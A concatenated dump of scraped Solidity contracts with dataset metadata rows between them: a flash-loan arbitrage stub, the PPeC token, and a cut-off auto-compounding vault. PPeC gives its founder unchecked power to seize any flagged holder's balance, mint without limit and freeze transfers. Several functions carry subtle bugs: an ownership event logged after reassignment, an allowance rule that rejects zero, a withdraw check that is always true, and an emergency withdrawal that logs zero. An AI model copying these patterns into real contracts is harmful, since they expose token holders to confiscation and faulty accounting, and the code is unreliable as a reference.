function tradeWithHint(ERC20 src, uint srcAmount, ERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) external payable returns(uint);
function swapEtherToToken(ERC20 token, uint minRate) external payable returns (uint);
function swapTokenToEther(ERC20 token, uint tokenQty, uint minRate) external returns (uint);
}
contract IUniswapExchange {
// Address of ERC20 token sold on this exchange
function tokenAddress() external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() external view returns (address factory);
// Provide Liquidity
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
// Trade ETH to ERC20
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
// Trade ERC20 to ETH
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
// Trade ERC20 to ERC20
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
// Trade ERC20 to Custom Pool
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
// ERC20 comaptibility for liquidity tokens
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
// Never use
function setup(address token_addr) external;
}
interface IWETH {
function deposit() external payable;
function withdraw(uint wad) external;
function totalSupply() external view returns (uint);
function approve(address guy, uint wad) external returns (bool);
function transfer(address dst, uint wad) external returns (bool);
function transferFrom(address src, address dst, uint wad) external returns (bool);
function () external payable;
}
interface IUniswapFactory {
function createExchange(address token) external returns (address exchange);
function getExchange(address token) external view returns (address exchange);
function getToken(address exchange) external view returns (address token);
function getTokenWithId(uint256 tokenId) external view returns (address token);
function initializeFactory(address template) external;
}
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract IERC20Token {
function name() public view returns (string memory) {this;}
function symbol() public view returns (string memory) {this;}
function decimals() public view returns (uint8) {this;}
function totalSupply() public view returns (uint256) {this;}
function balanceOf(address _owner) public view returns (uint256) {_owner; this;}
function allowance(address _owner, address _spender) public view returns (uint256) {_owner; _spender; this;}
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
}
interface TentacleInterface {
function getExchangeRate (string fromSymbol, string toSymbol, string venue, uint256 amount) external view returns (uint256);
function getTokenDecimalCount (address tokenAddress) external view returns (uint256);
function getTokenAddress (string symbol) external view returns (address);
function getSynthBytes32 (string symbol) external view returns (bytes32);
function getForexAddress (string symbol) external view returns (address);
function arb(address fundsReturnToAddress, address liquidityProviderContractAddress, string[] tokens, uint256 amount, string[] exchanges) payable returns (bool);
}
interface IContractRegistry {
function addressOf(bytes32 _contractName) external view returns (address);
}
interface IBancorNetwork {
function getReturnByPath(address[] _path, uint256 _amount) external view returns (uint256, uint256);
function convert2(address[] _path, uint256 _amount,
uint256 _minReturn,
address _affiliateAccount,
uint256 _affiliateFee) public payable returns (uint256);
function claimAndConvert2(address[] _path,
uint256 _amount,
uint256 _minReturn,
address _affiliateAccount,
uint256 _affiliateFee) public returns (uint256);
}
interface IBancorNetworkPathFinder {
function generatePath(address _sourceToken, address _targetToken) external view returns (address[]);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal view returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal view returns(uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal view returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal view returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract flashIt{
function executeOperation(address _reserve,
uint256 _amount,
uint256 _fee,
bytes _params) external {
ERC20 theToken = ERC20(_reserve);
//place the arb you would like to perform below
TentacleInterface tentacle= TentacleInterface(0x8316b082621cfedab95bf4a44a1d4b64a6ffc336);
theToken.approve(0x8316b082621cfedab95bf4a44a1d4b64a6ffc336, 10000000000000000000000000000);
string[] memory tokenOrder = new string[](3);
string[] memory exchangeOrder = new string[](3);
tokenOrder[0]= "DAI";
tokenOrder[1]= "WETH";
tokenOrder[2]= "SAI";
exchangeOrder[0]= "KYBER";
exchangeOrder[1]= "KYBER";
exchangeOrder[2]= "KYBER";
tentacle.arb(this, this, tokenOrder, _amount, exchangeOrder);
//transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));
theToken.transfer(0x3dfd23a6c5e8bbcfc9581d2e864a68feb6a076d3, (_amount+ _fee));
}
}
| 2,322 | 13,994 |
ea2087954b9b59136537843b0b2281608d6d3ba8ac056053e43efcc8b35e7183
| 21,524 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/28/2840bd7449f6736305a68c8003c008146751f40a_PPeC.sol
| 3,224 | 14,694 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
// ---------------------- Built with for everyone --------------------------
/// @author Green Rice And Dry Ice, Kangaroos And Yummy Ants Make Bad Animals.
/// @title Paid Per Click - The winning crypto of the internet.
/// @Symbol PPeC - Spelled [P:E:K]
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
/// @title Interface : Ethereum Token Standard #20.
// ----------------------------------------------------------------------------
interface ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
function transfer(address to, uint256 amount) external returns (bool success);
function transferFrom(address from, address to, uint256 amount) external returns (bool success);
function approve(address spender, uint256 amount) external returns (bool success);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
// ----------------------------------------------------------------------------
/// @title Context : Information about sender, and value of the transaction.
// ----------------------------------------------------------------------------
abstract contract Context {
/// @dev Returns information about the sender of the transaction.
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
/// @dev Returns information about the value of the transaction.
function _msgValue() internal view virtual returns (uint256) {
return msg.value;
}
}
// ----------------------------------------------------------------------------
/// @title Ownable : Information about the founder of the contract and none-zero address modifier.
// ----------------------------------------------------------------------------
abstract contract Ownable is Context {
// Define public constant variables.
address payable public founder; // Smart Contract Creator/Founder.
mapping(address => uint256) balances; // Holds each address balance.
// Set values on construction.
constructor() {
founder = payable(_msgSender());
}
event TransferOwnership(address oldOwner, address newOwner);
/// @dev Makes a function callable only by the founder.
modifier onlyFounder() {
require(_msgSender() == founder, "Your are not the Founder.");
_;
}
/// @dev Makes a function callable only when the address' owner is not a zero-address.
modifier noneZero(address owner){
require(owner != address(0), "Zero address not allowed.");
_;
}
function transferOwnership(address payable newOwner)
onlyFounder
noneZero(newOwner)
public
returns (bool success)
{
// Check founder's balance.
uint256 founderBalance = balances[founder];
// Check new owner's balance.
uint256 newOwnerBalance = balances[newOwner];
// Set founder balance to 0.
balances[founder] = 0;
// Add founder's old balance to the new owner's balance.
balances[newOwner] = newOwnerBalance + founderBalance;
// Transfer ownership from `founder` to the `newOwner`.
founder = newOwner;
// Emit event
emit TransferOwnership(founder, newOwner);
// Returns true on success.
return true;
}
}
// ----------------------------------------------------------------------------
/// @title Whitelisted : The ability to block evil users' transactions and burn their tokens.
// ----------------------------------------------------------------------------
abstract contract Whitelisted is Ownable {
// Define public constant variables.
mapping(address => bool) public isWhitelisted; // Holds whitelisted status for each address.
event BurnWhiteTokens(address evilOwner, uint256 dirtyTokens);
event AddToWhitelist(address evilOwner);
event RemovedFromWhitelist(address owner);
/// @dev Makes a function callable only when `owner` is not whitelisted.
modifier whenNotWhitelisted(address owner) {
require(isWhitelisted[owner] == false, "Whitelisted status detected; please check whitelisted status.");
_;
}
/// @dev Makes a function callable only when `owner` is whitelisted.
modifier whenWhitelisted(address owner) {
require(isWhitelisted[owner] == true, "Whitelisted status not detected; please check whitelisted status.");
_;
}
function addToWhitelist(address evilOwner)
onlyFounder
whenNotWhitelisted(evilOwner)
public
returns (bool success)
{
// Set whitelisted status.
isWhitelisted[evilOwner] = true;
// Emit event
emit AddToWhitelist(evilOwner);
// Returns true on success.
return true;
}
function removedFromWhitelist(address owner)
onlyFounder
whenWhitelisted(owner)
public
returns (bool success)
{
// Unset whitelisted status.
isWhitelisted[owner] = false;
// Emit event
emit RemovedFromWhitelist(owner);
// Returns true on success.
return true;
}
function burnWhiteTokens(address evilOwner)
onlyFounder
whenWhitelisted(evilOwner)
public
returns (bool success) {
// Check evil owner's balance - NOTE - Always check the balance, first.
uint256 dirtyTokens = balances[evilOwner];
// Set the evil owner balance to 0.
balances[evilOwner] = 0;
// Send the dirty tokens to the founder for purification!
balances[founder] += dirtyTokens;
// Emit event
emit BurnWhiteTokens(evilOwner, dirtyTokens);
// Returns true on success.
return true;
}
}
// ----------------------------------------------------------------------------
/// @title Pausable: The ability to pause or unpause trasactions of all tokens.
// ----------------------------------------------------------------------------
abstract contract Pausable is Ownable {
// Define public constant variables.
bool public paused = false; // Holds transfer status.
/// @dev Triggers on any successful call to pause().
event Pause();
/// @dev Triggers on any successful call to unpause().
event Unpause();
/// @dev Makes a function callable only when the contract is not paused.
modifier whenNotPaused() {
require(paused == false, "All transactions have been paused.");
_;
}
/// @dev Makes a function callable only when the contract is paused.
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyFounder whenNotPaused returns (bool success) {
// Set pause
paused = true;
// See {event Pause}
emit Pause();
// Returns true on success.
return true;
}
function unpause() public onlyFounder whenPaused returns (bool success) {
// Unset pause
paused = false;
// See {event Unpause}
emit Unpause();
// Returns true on success.
return true;
}
}
// ----------------------------------------------------------------------------
/// @title PPeC [peK] : Paid Per Click ERC20 Token.
// ----------------------------------------------------------------------------
contract PPeC is ERC20Interface, Context, Ownable, Whitelisted, Pausable {
// Define public constant variables.
string public name; // Token name
string public symbol; // Token symbol
uint8 public decimals; // Number of decimals.
uint256 public override totalSupply;
address payable public treasury; // Holds all Advertisement Fees.
mapping(address => mapping(address => uint256)) allowed; // Holds each address allowance balance.
// Set immutable values.
constructor(address treasury_) {
name = "Paid Per Click";
decimals = 18;
symbol = "PPeC";
totalSupply = 10000000000000E18; //10 Trillion PPeC.
balances[founder] = totalSupply;
treasury = payable(treasury_);
}
event Mint(address indexed owner, uint256 amount);
event Burn(address indexed owner, uint256 amount);
error NotEnoughFunds(uint256 available, uint256 required);
function changeTokenName(string memory newName)
onlyFounder
public
returns (bool success)
{
// Change token name from `name` to the `newName`.
name = newName;
// Returns true on success.
return true;
}
function changeTokenSymbol(string memory newSymbol)
onlyFounder
public
returns (bool success)
{
// Change token symbol from `symbol` to the `newSymbol`.
symbol = newSymbol;
// Returns true on success.
return true;
}
// See {_transfer} and {ERC20Interface - transfer}
function transfer(address to, uint256 amount) public virtual override returns (bool success) {
// Inherit from {_transfer}.
_transfer(_msgSender(), to, amount);
// Returns true on success.
return true;
}
// See {_transfer}, {_approve} and {ERC20Interface - transferFrom}
function transferFrom(address _from,
address _to,
uint256 _amount) public virtual override returns (bool success) {
// Inherits from _transfer.
_transfer(_from, _to, _amount);
// Check sender's allowance.
// NOTE - Always check balances before transaction.
uint256 currentAllowance = allowed[_from][_msgSender()];
// Inherits from _approve.
_approve(_from, _msgSender(), currentAllowance - _amount, currentAllowance);
// Returns true on success.
return true;
}
// See also {_approve} and {ERC20Interface - approve}
function approve(address spender, uint256 amount) public virtual override returns (bool success) {
// Inherits from _approve.
_approve(_msgSender(), spender, amount, balances[_msgSender()]);
// Returns true on success.
return true;
}
function increaseAllowance(address spender, uint256 amount) public virtual returns (bool success) {
// Check spender's allowance.
// NOTE - Always check balances before transaction.
uint256 currentAllowance = allowed[_msgSender()][spender];
// Inherits from _approve.
_approve(_msgSender(), spender, currentAllowance + amount, balances[_msgSender()]);
// Returns true on success.
return true;
}
function decreaseAllowance(address spender, uint256 amount) public virtual returns (bool success) {
// Check sender's allowance balance.
// NOTE - Always check balances before transaction.
uint256 currentAllowance = allowed[_msgSender()][spender];
// Inherits from _approve.
_approve(_msgSender(), spender, currentAllowance - amount, currentAllowance);
// Returns true on success.
return true;
}
function _transfer(address from, address to, uint256 amount)
noneZero(from)
noneZero(to)
whenNotWhitelisted(from)
whenNotWhitelisted(to)
whenNotPaused
internal
virtual
{
// Check sender's balance.
// NOTE - Always check balances before transaction.
uint256 senderBalance = balances[from];
/// @dev Requires the sender `senderBalance` balance be at least the `amount`.
if (amount > senderBalance)
revert NotEnoughFunds({
available: senderBalance,
required: amount
});
// Increase recipient balance.
balances[to] += amount;
// Decrease sender balance.
balances[from] -= amount;
// See {event ERC20Interface-Transfer}
emit Transfer(from, to, amount);
}
function _approve(address owner, address spender, uint256 amount, uint256 initialBalance)
noneZero(spender)
noneZero(owner)
internal
virtual
{
/// @dev Requires the owner `initialBalance` balance be at least the `amount`.
require(initialBalance >= amount, "Not enough balance.");
/// @dev Requires the `amount` be greater than 0 (zero).
require(amount > 0, "The value is less than zero!");
// Set spender allowance to the `amount`.
allowed[owner][spender] = amount;
// See {event ERC20Interface-Approval}
emit Approval(owner, spender, amount);
}
function burn(address owner, uint256 amount)
onlyFounder
public
virtual
returns (bool success)
{
// Check owner's balance.
// NOTE - Always check balance before transaction, first.
uint256 accountBalance = balances[owner];
/// @dev Requires the owner's balance `accountBalance` be at least `_amount`.
require(accountBalance >= amount, "Burn amount exceeds balance");
// Decrease owner balance.
balances[owner] -= amount;
// Decrease `totalSupply` by `_amount`.
totalSupply -= amount;
// See {event Burn}
emit Burn(owner, amount);
// Returns true on success.
return true;
}
function mint(address owner, uint256 amount)
onlyFounder
public
virtual
returns (bool success)
{
// Increase total supply.
totalSupply += amount;
// Increase owner's balance.
balances[owner] += amount;
// See {event Mint}
emit Mint(owner, amount);
// Returns true on success.
return true;
}
// Kills contract
function selfDestruct() public onlyFounder returns (bool success) {
// Decrease founder total supply to 0.
balances[founder] = 0;
// Decrease `totalSupply` to 0.
totalSupply = 0;
// Returns true on success.
return true;
}
// See {ERC20Interface - balanceOf}
function balanceOf(address owner) public view override returns (uint256 holdings) {
// Returns owner's token balance.
return balances[owner];
}
// See {ERC20Interface - allowance}
function allowance(address owner, address spender) public view virtual override returns (uint256 remaining) {
// Returns spender's allowance balance.
return allowed[owner][spender];
}
}
| 94,327 | 13,995 |
60cd17ad98fb4ec4254fe2c95def2b65e62d3e65d1fd69633e9c34d985e1a9d5
| 31,143 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/27/2742f8812A1155C486a7d46d236a36d5F527879f_AutoCompound.sol
| 4,554 | 18,603 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
interface IArbiDexRouter {
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
}
interface ISmartChefInitializable {
struct UserInfo {
uint256 amount; // How many staked tokens the user has provided
uint256 rewardDebt; // Reward debt
}
function userInfo(address user) external view returns (uint256, uint256);
function stakedToken() external view returns (address);
function rewardToken() external view returns (address);
function deposit(uint256 _amount) external;
function withdraw(uint256 _amount) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AutoCompound is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20Metadata;
// The address of the treasury where all of the deposit and performance fees are sent
address public treasury;
// The address of the router that is used for conducting swaps
address immutable public router;
// The address of the underlying staker where the deposits and withdrawals are made
address immutable public staker;
// The reward token
address immutable public rewardToken;
// The staked token
address immutable public stakedToken;
// The address of the USDC token
address immutable USDC = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
// The fee associated with depositing into the Auto Compounder
uint256 public depositFee = 100;
// The performance fee associated whenever the farm/pool is Auto Compounded
uint256 public performanceFee = 450;
// The minimum amount of reward tokens required for swapping of harvested tokens to occur
uint256 public minimumHarvest;
// The total supply of staked tokens, that have be deposited by users
uint256 totalSupply;
address[] path;
// Info of each user that stakes tokens (stakedToken)
mapping(address => UserInfo) public userInfo;
struct UserInfo {
uint256 amount; // How many staked tokens the user has provided
}
constructor(address _treasury,
address _router,
address _staker,
uint256 _minimumHarvest) {
treasury = _treasury;
router = _router;
staker = _staker;
rewardToken = ISmartChefInitializable(staker).rewardToken();
stakedToken = ISmartChefInitializable(staker).stakedToken();
minimumHarvest = _minimumHarvest;
if (rewardToken != USDC) {
path = new address[](3);
path[0] = rewardToken; path[1] = USDC; path[2] = stakedToken;
} else {
path = new address[](2);
path[0] = rewardToken; path[1] = stakedToken;
}
}
event Harvest(uint256 amount);
event Deposit(address indexed user, uint256 amount);
event TokenRecovery(address indexed token, uint256 amount);
event NewMinimumHarvest(uint256 amount);
event NewPerformanceFee(uint256 amount);
event NewDepositFee(uint256 amount);
event DepositFeeCharged(uint256 amount);
event PerformanceFeeCharged(uint256 amount);
event TreasuryAddressChanged(address treasury);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
function harvest() public {
// Lets harvest the tokens from the underlying staker
ISmartChefInitializable(staker).deposit(0);
uint256 harvested = IERC20Metadata(rewardToken).balanceOf(address(this));
// Check to see if we have the minimum amount of reward tokens harvested
if (harvested < minimumHarvest || harvested == 0 || totalSupply == 0) {return;}
// Check allowance and see if we need to update
if (harvested > IERC20Metadata(rewardToken).allowance(address(this), router)) {
IERC20Metadata(rewardToken).safeApprove(router, type(uint256).max);
}
// Calculate the performance fee for this harvest, and send it to the treasury
if (performanceFee > 0) {
uint256 feeAmount = (harvested * performanceFee)/10000;
harvested -= feeAmount;
IERC20Metadata(rewardToken).safeTransfer(treasury, feeAmount);
emit PerformanceFeeCharged(feeAmount);
}
// Lets' compute the amount of tokens we will get out for swapping from reward to staked token
uint256[] memory amounts = IArbiDexRouter(router).getAmountsOut(harvested, path);
// As long as we get 90% of our tokens back from the swap we are good to go
uint256 amountOutMin = (amounts[amounts.length-1] * 90)/100;
// Execute the swap and get the staked token
IArbiDexRouter(router).swapExactTokensForTokens(harvested, amountOutMin, path, address(this), block.timestamp);
uint256 compounded = IERC20(stakedToken).balanceOf(address(this));
ISmartChefInitializable(staker).deposit(compounded);
emit Harvest(compounded);
}
function deposit(uint256 _amount) external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(_amount > 0, "Deposit: Amount to deposit must be greater than zero");
// Check allowance and see if we need to update
if (_amount > IERC20Metadata(stakedToken).allowance(address(this), staker)) {
IERC20Metadata(stakedToken).safeApprove(staker, type(uint256).max);
}
harvest();
IERC20Metadata(stakedToken).safeTransferFrom(address(msg.sender), address(this), _amount);
if (depositFee > 0) {
uint256 feeAmount = (_amount * depositFee)/10000;
_amount -= feeAmount;
IERC20Metadata(stakedToken).safeTransfer(treasury, feeAmount);
emit DepositFeeCharged(feeAmount);
}
user.amount += _amount;
totalSupply += _amount;
ISmartChefInitializable(staker).deposit(_amount);
emit Deposit(msg.sender, _amount);
}
function withdraw(uint256 _amount) external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(user.amount - _amount >= 0, "Withdraw: Amount to withdraw too high");
require(_amount > 0, "Withdraw: Amount to withdraw cannot be zero");
harvest();
uint256 adjustedAmount = (_amount * getTotalSupply()) / totalSupply;
totalSupply -= _amount;
user.amount -= _amount;
ISmartChefInitializable(staker).withdraw(adjustedAmount);
IERC20Metadata(stakedToken).safeTransfer(address(msg.sender), adjustedAmount);
emit Withdraw(msg.sender, _amount);
}
function emergencyWithdraw() external nonReentrant {
UserInfo storage user = userInfo[msg.sender];
require(user.amount > 0, "Withdraw: Nothing to withdraw");
uint256 adjustedAmount = (user.amount * getTotalSupply()) / totalSupply;
totalSupply -= user.amount;
user.amount = 0;
ISmartChefInitializable(staker).withdraw(adjustedAmount);
IERC20Metadata(stakedToken).safeTransfer(address(msg.sender), adjustedAmount);
emit EmergencyWithdraw(msg.sender, user.amount);
}
function adjustedTokenPerShare() public view returns (uint256 _amount) {
if (getTotalSupply() == 0) {return 0;}
return ((10 ** 18) * getTotalSupply()) / totalSupply;
}
function getTotalSupply() public view returns (uint256 _amount) {
(uint256 supply,) = ISmartChefInitializable(staker).userInfo(address(this));
supply += IERC20Metadata(stakedToken).balanceOf(address(this));
return supply;
}
function recoverToken(address _token, uint256 _amount) external onlyOwner {
require(_token != address(0), "Operations: Cannot be zero address");
require(_token != address(stakedToken), "Operations: Cannot be staked token");
require(_token != address(rewardToken), "Operations: Cannot be reward token");
IERC20(_token).transfer(treasury, _amount);
